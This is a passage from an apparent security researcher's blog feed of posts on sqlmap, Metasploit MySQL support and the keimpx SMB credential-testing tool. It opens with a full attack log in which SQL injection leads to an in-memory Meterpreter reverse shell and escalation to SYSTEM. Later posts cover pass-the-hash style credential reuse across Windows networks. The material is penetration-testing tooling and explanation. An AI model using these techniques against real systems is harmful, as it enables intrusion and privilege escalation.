[INFO] confirming PostgreSQL&lt;br /&gt;[22:44:09] [INFO] the back-end DBMS is PostgreSQL&lt;br /&gt;web server operating system: Windows 2003 or 2008&lt;br /&gt;web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727&lt;br /&gt;back-end DBMS: PostgreSQL&lt;br /&gt;[...]&lt;br /&gt;how do you want to execute the Metasploit shellcode on the back-end database&lt;br /&gt;underlying operating system?&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;[1] Via UDF &#39;sys_bineval&#39; (in-memory way, anti-forensics, default)&lt;br /&gt;&lt;/span&gt;[2] Stand-alone payload stager (file system way)&lt;br /&gt;&gt;&lt;br /&gt;[22:44:28] [INFO] creating Metasploit Framework 3 multi-stage shellcode&lt;br /&gt;which connection type do you want to use?&lt;br /&gt;[1] Reverse TCP: Connect back from the database host to this machine (default)&lt;br /&gt;[2] Reverse TCP: Try to connect back from the database host to this machine,&lt;br /&gt;on all ports between the specified and 65535&lt;br /&gt;[3] Bind TCP: Listen on the database host for a connection&lt;br /&gt;&gt;&lt;br /&gt;which is the local address? [172.16.213.1]&lt;br /&gt;which local port number do you want to use? [21188]&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;[22:44:34] [INFO] forcing Metasploit payload to Meterpreter because it is&lt;br /&gt;the only payload that can be used to escalate privileges, either via&lt;br /&gt;&#39;getsystem&#39; command&lt;br /&gt;&lt;/span&gt;[22:44:34] [INFO] creation in progress .... done&lt;br /&gt;[22:44:38] [INFO] running Metasploit Framework 3 command line interface&lt;br /&gt;locally, wait..&lt;br /&gt;[*] Please wait while we load the module tree...&lt;br /&gt;[*] Started reverse handler on port 21188&lt;br /&gt;[*] Starting the payload handler...&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;[22:44:44] [INFO] running Metasploit Framework 3 shellcode remotely via UDF&lt;br /&gt;&#39;sys_bineval&#39;, wait..&lt;br /&gt;&lt;/span&gt;[*] Sending stage (725504 bytes)&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;[*] Meterpreter session 1 opened (172.16.213.1:21188 -&gt; 172.16.213.128:1869)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;meterpreter &gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;[22:44:47] [INFO] trying to escalate privileges using Meterpreter&lt;br /&gt;&#39;getsystem&#39; command which tries different techniques, including kitrap0d&lt;br /&gt;&lt;/span&gt;[22:44:47] [INFO] displaying the list of Access Tokens availables. Choose&lt;br /&gt;which user you want to impersonate by using incognito&#39;s command&lt;br /&gt;&#39;impersonate_token&#39; if &#39;getsystem&#39; did not success to elevate&lt;br /&gt;privileges&lt;br /&gt;Loading extension espia...success.&lt;br /&gt;meterpreter &gt; Loading extension incognito...success.&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;meterpreter &gt; Loading extension priv...success.&lt;br /&gt;&lt;/span&gt;meterpreter &gt; Loading extension sniffer...success.&lt;br /&gt;meterpreter &gt; Computer: W2K3DEV&lt;br /&gt;OS      : Windows .NET Server (Build 3790, Service Pack 2).&lt;br /&gt;Arch    : x86&lt;br /&gt;Language: en_US&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;meterpreter &gt; Server username: W2K3DEV\postgres&lt;br /&gt;meterpreter &gt; ...got system (via technique 4).&lt;br /&gt;&lt;/span&gt;meterpreter &gt;&lt;br /&gt;Delegation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\LOCAL SERVICE&lt;br /&gt;NT AUTHORITY\NETWORK SERVICE&lt;br /&gt;NT AUTHORITY\SYSTEM&lt;br /&gt;W2K3DEV\Administrator&lt;br /&gt;W2K3DEV\postgres&lt;br /&gt;&lt;br /&gt;Impersonation Tokens Available&lt;br /&gt;========================================&lt;br /&gt;NT AUTHORITY\ANONYMOUS LOGON&lt;br /&gt;W2K3DEV\IUSR_W2K3STENSP0&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;meterpreter &gt; Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;/span&gt;&lt;/bernardo.damele@gmail.com&gt;&lt;/pre&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;As you can see from this example, sqlmap detected and exploited the SQL injection in the web application, fingerprinted the back-end DBMS as PostgreSQL running on Windows then, because the &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;b&gt;--os-pwn&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; option has been provided, asked the user how to execute the Metasploit shellcode on the back-end DBMS (by default in-memory via sqlmap&#39;s own &lt;b&gt;sys_bineval()&lt;/b&gt; user-defined function previously injected, anti-forensics technique, see these &lt;a href=&quot;http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database&quot;&gt;slides&lt;/a&gt; for details), then asked the user options related to the creation of the &lt;i&gt;shellcode&lt;/i&gt; (or of the &lt;i&gt;payload stager&lt;/i&gt; when the user chooses to forge it as a standalone executable and execute it on the target system, less stealthy way).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Because option &lt;b&gt;--priv-esc&lt;/b&gt; has been provided too, the Metasploit payload is forced to Meterpreter and sqlmap automatically loads all its extensions&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:Georgia, serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;, including &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;priv&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;, once the out-of-band session is established. Now it shows the user running the PostgreSQL server instance (Meterpreter &lt;b&gt;getuid&lt;/b&gt; command) and elevate the process privileges to SYSTEM (Meterpreter &lt;b&gt;getsystem&lt;/b&gt; command).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:Georgia, serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Enjoy the beauty of KiTrap0D as long as it is not fixed!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/5594724832612110134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/5594724832612110134' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5594724832612110134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5594724832612110134'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/01/privilege-escalation-on-windows-hotness.html' title='Privilege escalation on Windows hotness'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-7416236199562624130</id><published>2009-12-29T13:30:00.009+00:00</published><updated>2009-12-29T14:27:24.886+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><title type='text'>MySQL support in Metasploit</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;A few days ago HD Moore &lt;/span&gt;&lt;a href=&quot;http://www.metasploit.com/redmine/projects/framework/repository/revisions/7978&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;commited&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; onto &lt;/span&gt;&lt;a href=&quot;http://metasploit.com/svn/framework3/trunk&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Metasploit subversion repository&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; the initial support for MySQL that I have put together some weeks ago. From his &lt;/span&gt;&lt;a href=&quot;http://blog.metasploit.com/2009/12/happy-holidays-project-updates.html&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;post&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; on Metasploit blog:&lt;/span&gt;&lt;div&gt;&lt;blockquote&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&quot;&lt;/span&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;This was a multi-pronged effort led by Bernardo Damele A. G, combined with &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://tmtm.org/ruby/mysql/&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;TOMITA Masahiro&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&#39;s pure Ruby MySQL driver, tweaked by myself, and &lt;/span&gt;&lt;/i&gt;&lt;a href=&quot;http://www.darkoperator.com/blog/2009/12/27/new-mysql-support-in-metasploit.html&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;concisely documented&lt;/span&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; by Carlos Perez. We will continue to improve MySQL exploitation support by borrowing some of the other techniques that Bernardo implemented in SQLMap (UDFs, upload, download)&lt;/span&gt;&lt;/i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&quot;&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;The idea is to &lt;/span&gt;&lt;a href=&quot;http://www.metasploit.com/redmine/issues/455&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;integrate&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; some of sqlmap &lt;/span&gt;&lt;a href=&quot;http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;recent&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; &lt;/span&gt;&lt;a href=&quot;http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;enhancements&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt; to the Metasploit Framework: the operating system takeover features of sqlmap will be available to the Framework users. This includes execution of custom queries, file system access (file download and upload), database user privilege escalation, operating system command execution via user-defined function injection, execution of Metasploit payloads in-memory, an extra brute-forcer of database users&#39; credentials and more.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;This can be handy while performing a build review or an infrastructure assessment against a database server where you have been provided with a valid database user credentials or have been able to brute-force them. Either way you get access to the database, you can exploit databases&#39; design weaknesses (also known as &lt;/span&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;features&lt;/span&gt;&lt;/i&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;), excessive user privileges or database security vulnerabilities (see &lt;/span&gt;&lt;a href=&quot;http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;MS09-004&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;) to get control of the underlying file system, operating system and network perimeter.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;I will keep on developing sqlmap to exploit SQL injection flaws in web applications and Metasploit modules to connect directly to the database and perform the same attack vectors of sqlmap, using valid database credentials as a stepping stone rather than a SQL injection vulnerability.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;In a sentence, you will have no more excuses to successfully exploit databases now, independently how you have got access to them ;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Stay tuned!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/7416236199562624130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/7416236199562624130' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/7416236199562624130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/7416236199562624130'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2009/12/mysql-support-in-metasploit.html' title='MySQL support in Metasploit'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-3960086323121003049</id><published>2009-12-15T14:24:00.004+00:00</published><updated>2009-12-15T14:32:26.216+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="database"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><title type='text'>sqlmap state of art - 3 years later</title><content type='html'>&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;A few months ago sqlmap has passed its 3rd year of virtual life. I would like to personally thank Daniele Bellucci for starting the project back in July 2006 and letting me to succeed him in sqlmap development since September 2006.&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;During the last 12 months, sqlmap has seen a lot of improvements in (post-)exploitation functionalities[&lt;a href=&quot;http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf&quot;&gt;1&lt;/a&gt;][&lt;a href=&quot;http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides&quot;&gt;2&lt;/a&gt;][&lt;a href=&quot;http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database&quot;&gt;3&lt;/a&gt;] ranging from underlying file system read and write access to database buffer overflow exploitation with memory protection bypass passing by UDF injection to execute Metasploit payload in-memory or via payload stager executable and more[&lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&quot;&gt;4&lt;/a&gt;] (thanks to Guido Landi for helping me out with some of these features).&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;I&#39;ve received tons of great feedback (dumb questions too) privately by email, face to face and via this mailing list from you all and I really appreciate it, thank you[&lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/THANKS&quot;&gt;5&lt;/a&gt;]!&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;Sorry if I did not get back right away, I might have missed your email: send it again privately and I will try to get back promptly.&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;The media/blogger attention to the tool and SQL injection as a vector not only to expose sensible data but also to own the whole underlying system and internal network in general has been higher in the last 12 months. Personally speaking, since my talk at Black Hat Europe[&lt;a href=&quot;http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=216402297&quot;&gt;6&lt;/a&gt;][&lt;a href=&quot;http://www.theregister.co.uk/2009/04/02/new_sql_injection_attack/&quot;&gt;7&lt;/a&gt;][&lt;a href=&quot;http://www.h-online.com/security/SQL-injection-reloaded-access-to-the-operating-system--/news/113095&quot;&gt;8&lt;/a&gt;] and the recent Corporate websites ownage[&lt;a href=&quot;http://www.theregister.co.uk/2009/11/23/symantec_website_security_snafu/&quot;&gt;9&lt;/a&gt;].&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Surprisingly sqlmap is the most downloaded SQL injection tool on SourceForge[&lt;a href=&quot;http://sourceforge.net/search/?words=%22sql+injection%22&amp;amp;sort=num_downloads&amp;amp;sortdir=desc&amp;amp;offset=0&amp;amp;type_of_search=soft&amp;amp;pmode=0&amp;amp;form_cat=18&quot;&gt;10&lt;/a&gt;], however I&#39;ve no statistics about the downloads from third-party mirrors so this information does *not* count globally.&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;Also, a search on Google for &quot;sql injection&quot;[&lt;a href=&quot;http://www.google.com/search?hl=en&amp;amp;q=sql+injection&amp;amp;start=20&amp;amp;sa=N&quot;&gt;11&lt;/a&gt;] places sqlmap at the 21st place, first tool of its category to be mentioned: good to see that many whitepapers and tutorials showed up first, symptom maybe that many people do care about learning how it works before just firing up a tool.&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Now I see sqlmap development for 2010 going in two directions:&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;I would like to brainstorm with *you* then rewrite from scratch the detection engine, it&#39;s the weak part of sqlmap in my opinion, it upsets many users, requires reading and understanding of the user&#39;s manual for not-straightforward SQL injections and, sadly, is not as mature as some other tools (very few though[&lt;a href=&quot;http://code.google.com/p/sqlibench/&quot;&gt;12&lt;/a&gt;] ;)). I&#39;ve some thoughts about it and will share them soon. Please, do reply to this point if you&#39;ve anything to say either publicly or privately, feel free to get in touch also via Jabber if you prefer. All comments, suggestions and critics will be answered, taken into account and eventually summarized afterwards in an email open to the mailing list.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;It would be great that someone joins actively the development team (me, sigh..) to maintain the code, refactor it a bit, document it to ease new developers to code over it, fix bugs and add new features. I&#39;ve a list of about 60 unique items in the ticketing system, so there&#39;s plenty of work to do, time permitting.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;Yes, you&#39;ve got it right, I am looking for help as in code: software engineers experienced in Python development (no, I won&#39;t follow the Ruby hype so please don&#39;t ask for a change of technology) so if you ever thought it would be cool to join sqlmap development now it&#39;s your time to do so. I can provide you with write access to a personal branch on the sqlmap subversion repository, access to the project management interface (this include ticketing system) and if you show up in London area we can meet for a beer too or, if you prefer, a more typical English tea! ;)&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;I hope this will bring a lot of good ideas and I am open to read all your thoughts. Thanks if you spent your time to the end of this post.&lt;/span&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Text cross-posted on &lt;a href=&quot;http://sqlmap.sourceforge.net/#ml&quot;&gt;sqlmap-users&lt;/a&gt; &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=ffa432520912150559x7da484d0q5a580512abf4592f%40mail.gmail.com&amp;amp;forum_name=sqlmap-users&quot;&gt;mailing list&lt;/a&gt;.&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/3960086323121003049/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/3960086323121003049' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3960086323121003049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/3960086323121003049'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2009/12/sqlmap-state-of-art-3-years-later.html' title='sqlmap state of art - 3 years later'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-8202276224332526671</id><published>2009-12-11T11:26:00.010+00:00</published><updated>2009-12-11T12:18:30.622+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="ntlm"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="smb"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>keimpx in action</title><content type='html'>&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt;Few weeks ago I released a new tool called &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://code.google.com/p/keimpx/&quot;&gt;keimpx&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt;It basically takes in a single pair of credentials or a list of credentials (plain-text passwords or as NTLM hashes outputted by &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=tool&amp;amp;name=Pass-The-Hash_Toolkit&quot;&gt;Pass-The-Hash Toolkit&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt;, &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://swamp.foofus.net/fizzgig/fgdump/&quot;&gt;fgdump&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt;, &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://reedarvin.thearvins.com/downloads/tools/PWDumpX14.zip&quot;&gt;PWDumpX&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt; and similar tools), a single host or a list of hosts. It will then try off combinations of the user credentials and hosts to see where they work.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet ms;font-family:trebuchet ms;&quot; &gt;It comes handy when you are in front of a large Windows network, have owned one of the workstations (or a server) and you want to check on which other systems you can login with the dumped hashes or cracked plain-text passwords.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;As far as I know, there exist publicly three similar tools:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style=&quot;font-family: trebuchet ms;&quot;&gt;&lt;li&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx&quot;&gt;PsExec&lt;/a&gt; can be used to login via a single pair of user/password to a remote machine over SMB and execute commands. Single executable file, it works on any Windows system. It does not offer the ability to login by providing NTLM hashes. &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://cgi.tenablesecurity.com/tenable/smbshell.php&quot;&gt;smbshell&lt;/a&gt; is a pre-compiled NASL script and it requires the nasl interpreter and a bunch of other &lt;a href=&quot;http://www.nessus.org/&quot;&gt;Nessus&lt;/a&gt; libraries to run, not very convenient. Nevertheless, an advantage over PsExec is that &lt;a href=&quot;http://blog.tenablesecurity.com/2007/06/lmntlm-hash-sup.html&quot;&gt;it accepts also the NTLM hash of the password&lt;/a&gt;. Like PsExec, it can be used to login onto one system at a time. &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://metasploit.com/framework/&quot;&gt;Metasploit&lt;/a&gt;&#39;s &lt;a href=&quot;http://www.offensive-security.com/metasploit-unleashed/PSExec-Pass-the-Hash&quot;&gt;psexec auxiliary module&lt;/a&gt; can be used to login via a single pair of user/password or user/NTLM hash to a remote machine over SMB and execute commands. It is an enhanced version of the original standalone PsExec, but it requires to have direct access between the attacker machine and the target network (you could always pivot traffic through the owned Windows system via a Meterpreter session route option though) which is not always feasible, for instance, in a Citrix break-out where the back-end system is masked by a Citrix MetaFrame web interface. Like PsExec and smbshell, it can be used to login onto one system at a time. &lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;keimpx can be used to login over SMB onto a single target (like previous tools) or a list of targets by providing either a pair of user/password (like previous tools), a pair of user/NTLM hash (like smbshell and Metasploit&#39;s psexec), a list with the dumped hashes and eventually the cracked passwords. If valid credentials are detected on any of the targets, it can be used to enumerate shares, users, domains, password policy, execute commands and access the Windows registry (&lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://code.google.com/p/keimpx/issues/detail?id=1&quot;&gt;soon&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt;). The advantage over smbshell and Metasploit&#39;s psexec module is that it is a single Python script that requires the Python interpreter only to work, moreover the tool can be &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://www.py2exe.org/&quot;&gt;converted&lt;/a&gt;&lt;span style=&quot;font-family: trebuchet ms;&quot;&gt; into a single executable file, then uploaded to the owned Windows system and run from there from command line, like PsExec. The other advantage over all the other tools is that it can primarily be used to check for the usefulness of a list of credentials, as in pairs of user/password, user/NTLM hash and user/NTLM session token, across the whole Windows network.&lt;br /&gt;&lt;br /&gt;Usage help:&lt;br /&gt;&lt;pre style=&quot;font-family: courier new;&quot;&gt;$ python keimpx.py -h&lt;br /&gt;This product includes software developed by CORE Security Technologies&lt;br /&gt;(http://www.coresecurity.com), Python Impacket library&lt;br /&gt;&lt;br /&gt;    keimpx 0.2-dev&lt;br /&gt;    by Bernardo Damele A. G. 